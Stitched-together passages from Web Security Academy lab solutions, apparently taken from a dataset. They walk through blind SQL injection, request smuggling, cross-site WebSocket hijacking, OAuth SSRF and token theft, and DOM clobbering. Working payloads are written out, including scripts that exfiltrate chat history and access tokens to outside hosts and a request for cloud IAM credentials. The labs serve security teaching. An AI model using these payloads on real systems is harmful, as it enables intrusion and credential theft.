Our attack will cycle through each position and possible value, testing each one in turn.\nPlace payload position markers around the a character in the cookie value. To do this, select just the a, and click the Add § button. You should then see the following as the cookie value (note the payload position markers):\nTrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--\nTo test the character at each position, you'll need to send suitable payloads in the payload position that you've defined. You can assume that the password contains only lower case alphanumeric characters. In the Payloads side panel, check that Simple list is selected, and under Payload configuration add the payloads in the range a - z and 0 - 9. You can select these easily using the Add from list drop-down.\nTo be able to tell when the correct character was submitted, you'll need to monitor the time taken for the application to respond to each request. For this process to be as reliable as possible, you need to configure the Intruder attack to issue requests in a single thread. To do this, click the Resource pool tab to open the Resource pool side panel and add the attack to a resource pool with the Maximum concurrent requests set to 1.\nLaunch the attack by clicking the Start attack button.\nReview the attack results to find the value of the character at the first position. You should see a column in the results called Response received. This will generally contain a small number, representing the number of milliseconds the application took to respond. One of the rows should have a larger number in this column, in the region of 10,000 milliseconds. The payload showing for that row is the value of the character at the first position.\nNow, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the main Burp window and change the specified offset from 1 to 2. You should then see the following as the cookie value:\nTrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--\nLaunch the modified attack, review the results, and note the character at the second offset.\nContinue this process testing offset 3, 4, and so on, until you have the whole password.\nIn the browser, click My account to open the login page.

Initially, you won't see anything happening, but after 61 seconds, you should see two entries in the results table:\nThe first entry is the POST /resources request, which triggered a redirect to /resources/ as normal.\nThe second entry is a response to the GET /admin/ request. Although this just tells you that the admin panel is only accessible to local users, this confirms the pause-based CL.0 vulnerability.\nExploit\nIn Turbo Intruder, go back to the attack configuration screen. In your smuggled request, change the Host header to localhost and relaunch the attack.\nAfter 61 seconds, notice that you have now successfully accessed the admin panel.\nStudy the response and observe that the admin panel contains an HTML form for deleting a given user. Make a note of the following details:\nThe action attribute (/admin/delete).\nThe name of the input (username).\nThe csrf token.\nGo back to the attack configuration screen. Use these details to replicate the request that would be issued when submitting the form. The result should look something like this:\nPOST /resources HTTP/1.1\nHost: YOUR-LAB-ID.web-security-academy.net\nCookie: session=YOUR-SESSION-COOKIE\nConnection: keep-alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: CORRECT\n\nPOST /admin/delete/ HTTP/1.1\nHost: localhost\nContent-Type: x-www-form-urlencoded\nContent-Length: CORRECT\n\ncsrf=YOUR-CSRF-TOKEN&username=carlos\nTo prevent Turbo Intruder from pausing after both occurrences of \\r\\n\\r\\n in the request, update the pauseMarker argument so that it only matches the end of the first set of headers, for example:\npauseMarker=['Content-Length: CORRECT\\r\\n\\r\\n']\nLaunch the attack.\nAfter 61 seconds, the lab is solved.",

Notice that when you refresh the page, the browser sends a READY message to the server. This causes the server to respond with the entire chat history.\nConfirm the CSWSH vulnerability\nIn Burp, go to the Collaborator tab and click Copy to clipboard. A new Collaborator payload is saved to your clipboard.\nIn the browser, go to the exploit server and use the following template to create a script for a CSWSH proof of concept:\n<script>\n var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');\n ws.onopen = function() {\n ws.send(\"READY\");\n };\n ws.onmessage = function(event) {\n fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});\n };\n</script>\nStore and view the exploit yourself\nIn Burp, go back to the Collaborator tab and click Poll now. Observe that you have received an HTTP interaction, which indicates that you've opened a new live chat connection with the target site.\nNotice that although you've confirmed the CSWSH vulnerability, you've only exfiltrated the chat history for a brand new session, which isn't particularly useful.\nGo to the Proxy > HTTP history tab and find the WebSocket handshake request that was triggered by your script. This should be the most recent GET /chat request.\nNotice that your session cookie was not sent with the request.\nIn the response, notice that the website explicitly specifies SameSite=Strict when setting session cookies. This prevents the browser from including these cookies in cross-site requests.\nIdentify an additional vulnerability in the same \"site\"\nIn Burp, study the proxy history and notice that responses to requests for resources like script and image files contain an Access-Control-Allow-Origin header, which reveals a sibling domain at cms-YOUR-LAB-ID.web-security-academy.net.\nIn the browser, visit this new URL to discover an additional login form.\nSubmit some arbitrary login credentials and observe that the username is reflected in the response in the Invalid username message.\nTry injecting an XSS payload via the username parameter, for example:\n<script>alert(1)</script>\nObserve that the alert(1) is called, confirming that this is a viable reflected XSS vector.\nSend the POST /login request containing the XSS payload to Burp Repeater.\nIn Burp Repeater, right-click on the request and select Change request method to convert the method to GET. Confirm that it still receives the same response.\nRight-click on the request again and select Copy URL. Visit this URL in the browser and confirm that you can still trigger the XSS. As this sibling domain is part of the same site, you can use this XSS to launch the CSWSH attack without it being mitigated by SameSite restrictions.\nBypass the SameSite restrictions\nRecreate the CSWSH script that you tested on the exploit server earlier.\n<script>\n var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');\n ws.onopen = function() {\n ws.send(\"READY\");\n };\n ws.onmessage = function(event) {\n fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});\n };\n</script>\nURL encode the entire script.\nGo back to the exploit server and create a script that induces the viewer's browser to send the GET request you just tested, but use the URL-encoded CSWSH payload as the username parameter.

"description": "While proxying traffic through Burp, log in to your own account. Browse to https://oauth-YOUR-OAUTH-SERVER.oauth-server.net/.well-known/openid-configuration to access the configuration file. Notice that the client registration endpoint is located at /reg.\nIn Burp Repeater, create a suitable POST request to register your own client application with the OAuth service. You must at least provide a redirect_uris array containing an arbitrary whitelist of callback URIs for your fake application. For example:\nPOST /reg HTTP/1.1\nHost: oauth-YOUR-OAUTH-SERVER.oauth-server.net\nContent-Type: application/json\n\n{\n \"redirect_uris\" : [\n \"https://example.com\"\n ]\n}\nSend the request. Observe that you have now successfully registered your own client application without requiring any authentication. The response contains various metadata associated with your new client application, including a new client_id.\nUsing Burp, audit the OAuth flow and notice that the \"Authorize\" page, where the user consents to the requested permissions, displays the client application's logo. This is fetched from /client/CLIENT-ID/logo. We know from the OpenID specification that client applications can provide the URL for their logo using the logo_uri property during dynamic registration. Send the GET /client/CLIENT-ID/logo request to Burp Repeater.\nIn Repeater, go back to the POST /reg request that you created earlier. Add the logo_uri property. Right-click and select \"Insert Collaborator payload\" to paste a Collaborator URL as its value . The final request should look something like this:\nPOST /reg HTTP/1.1\nHost: oauth-YOUR-OAUTH-SERVER.oauth-server.net\nContent-Type: application/json\n\n{\n \"redirect_uris\" : [\n \"https://example.com\"\n ],\n \"logo_uri\" : \"https://BURP-COLLABORATOR-SUBDOMAIN\"\n}\nSend the request to register a new client application and copy the client_id from the response.\nIn Repeater, go to the GET /client/CLIENT-ID/logo request. Replace the CLIENT-ID in the path with the new one you just copied and send the request.\nGo to the Collaborator tab dialog and check for any new interactions. Notice that there is an HTTP interaction attempting to fetch your non-existent logo. This confirms that you can successfully use the logo_uri property to elicit requests from the OAuth server.\nGo back to the POST /reg request in Repeater and replace the current logo_uri value with the target URL:\n\"logo_uri\" : \"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/\"\nSend this request and copy the new client_id from the response.\nGo back to the GET /client/CLIENT-ID/logo request and replace the client_id with the new one you just copied. Send this request. Observe that the response contains the sensitive metadata for the OAuth provider's cloud environment, including the secret access key.\nUse the \"Submit solution\" button to submit the access key and solve the lab.",

"description": "While proxying traffic through Burp, click \"My account\" and complete the OAuth login process. Afterwards, you will be redirected back to the blog website.\nStudy the resulting requests and responses. Notice that the blog website makes an API call to the userinfo endpoint at /me and then uses the data it fetches to log the user in. Send the GET /me request to Burp Repeater.\nLog out of your account and log back in again. From the proxy history, find the most recent GET /auth?client_id=[...] request and send it to Repeater.\nIn Repeater, experiment with the GET /auth?client_id=[...] request. Observe that you cannot supply an external domain as redirect_uri because it's being validated against a whitelist. However, you can append additional characters to the default value without encountering an error, including the /../ path traversal sequence.\nLog out of your account on the blog website and turn on proxy interception in Burp.\nIn the browser, log in again and go to the intercepted GET /auth?client_id=[...] request in Burp Proxy.\nConfirm that the redirect_uri parameter is in fact vulnerable to directory traversal by changing it to:\nhttps://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post?postId=1\nForward any remaining requests and observe that you are eventually redirected to the first blog post. In the browser, notice that your access token is included in the URL as a fragment.\nWith the help of Burp, audit the other pages on the blog website. Identify the \"Next post\" option at the bottom of each blog post, which works by redirecting users to the path specified in a query parameter. Send the corresponding GET /post/next?path=[...] request to Repeater.\nIn Repeater, experiment with the path parameter. Notice that this is an open redirect. You can even supply an absolute URL to elicit a redirect to a completely different domain, for example, your exploit server.\nCraft a malicious URL that combines these vulnerabilities. You need a URL that will initiate an OAuth flow with the redirect_uri pointing to the open redirect, which subsequently forwards the victim to your exploit server:\nhttps://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email\nTest that this URL works correctly by visiting it in the browser. You should be redirected to the exploit server's \"Hello, world!\" page, along with the access token in a URL fragment.\nOn the exploit server, create a suitable script at /exploit that will extract the fragment and output it somewhere. For example, the following script will leak it via the access log by redirecting users to the exploit server for a second time, with the access token as a query parameter instead:\n<script>\nwindow.location = '/?'+document.location.hash.substr(1)\n</script>\nTo test that everything is working correctly, store this exploit and visit your malicious URL again in the browser. Then, go to the exploit server access log. There should be a request for GET /?access_token=[...].\nYou now need to create an exploit that first forces the victim to visit your malicious URL and then executes the script you just tested to steal their access token. For example:\n<script>\n if (!document.location.hash) {\n window.location = 'https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'\n } else {\n window.location = '/?'+document.location.hash.substr(1)\n }\n</script>\nTo test that the exploit works, store it and then click \"View exploit\". The page should appear to refresh, but if you check the access log, you should see a new request for GET /?access_token=[...].\nDeliver the exploit to the victim, then copy their access token from the log.\nIn Repeater, go to the GET /me request and replace the token in the Authorization: Bearer header with the one you just copied. Send the request. Observe that you have successfully made an API call to fetch the victim's data, including their API key.\nUse the \"Submit solution\" button at the top of the lab page to submit the stolen key and solve the lab.",

The next time the page loads, the alert() is called.\nThe page for a specific blog post imports the JavaScript file loadCommentsWithDomClobbering.js, which contains the following code:\nlet defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}\nThe defaultAvatar object is implemented using this dangerous pattern containing the logical OR operator in conjunction with a global variable. This makes it vulnerable to DOM clobbering.\nYou can clobber this object using anchor tags. Creating two anchors with the same ID causes them to be grouped in a DOM collection. The name attribute in the second anchor contains the value \"avatar\", which will clobber the avatar property with the contents of the href attribute.\nNotice that the site uses the DOMPurify filter in an attempt to reduce DOM-based vulnerabilities. However, DOMPurify allows you to use the cid: protocol, which does not URL-encode double-quotes. This means you can inject an encoded double-quote that will be decoded at runtime. As a result, the injection described above will cause the defaultAvatar variable to be assigned the clobbered property {avatar: ‘cid:\"onerror=alert(1)//’} the next time the page is loaded.\nWhen you make a second post, the browser uses the newly-clobbered global variable, which smuggles the payload in the onerror event handler and triggers the alert().",

To solve this lab, construct a vector that bypasses the filter and uses DOM clobbering to inject a vector that calls the print() function. You may need to use the exploit server in order to make your vector auto-execute in the victim's browser.",

"description": "Go to one of the blog posts and create a comment containing the following HTML:\n<form id=x tabindex=0 onfocus=print()><input id=attributes>\nGo to the exploit server and add the following iframe to the body:\n<iframe src=https://YOUR-LAB-ID.web-security-academy.net/post?postId=3 onload=\"setTimeout(()=>this.src=this.src+'#x',500)\">\nRemember to change the URL to contain your lab ID and make sure that the postId parameter matches the postId of the blog post into which you injected the HTML in the previous step.\nStore the exploit and deliver it to the victim. The next time the page loads, the print() function is called.\nThe library uses the attributes property to filter HTML attributes. However, it is still possible to clobber the attributes property itself, causing the length to be undefined. This allows us to inject any attributes we want into the form element. In this case, we use the onfocus attribute to smuggle the print() function.\nWhen the iframe is loaded, after a 500ms delay, it adds the #x fragment to the end of the page URL. The delay is necessary to make sure that the comment containing the injection is loaded before the JavaScript is executed. This causes the browser to focus on the element with the ID \"x\", which is the form we created inside the comment. The onfocus event handler then calls the print() function.",
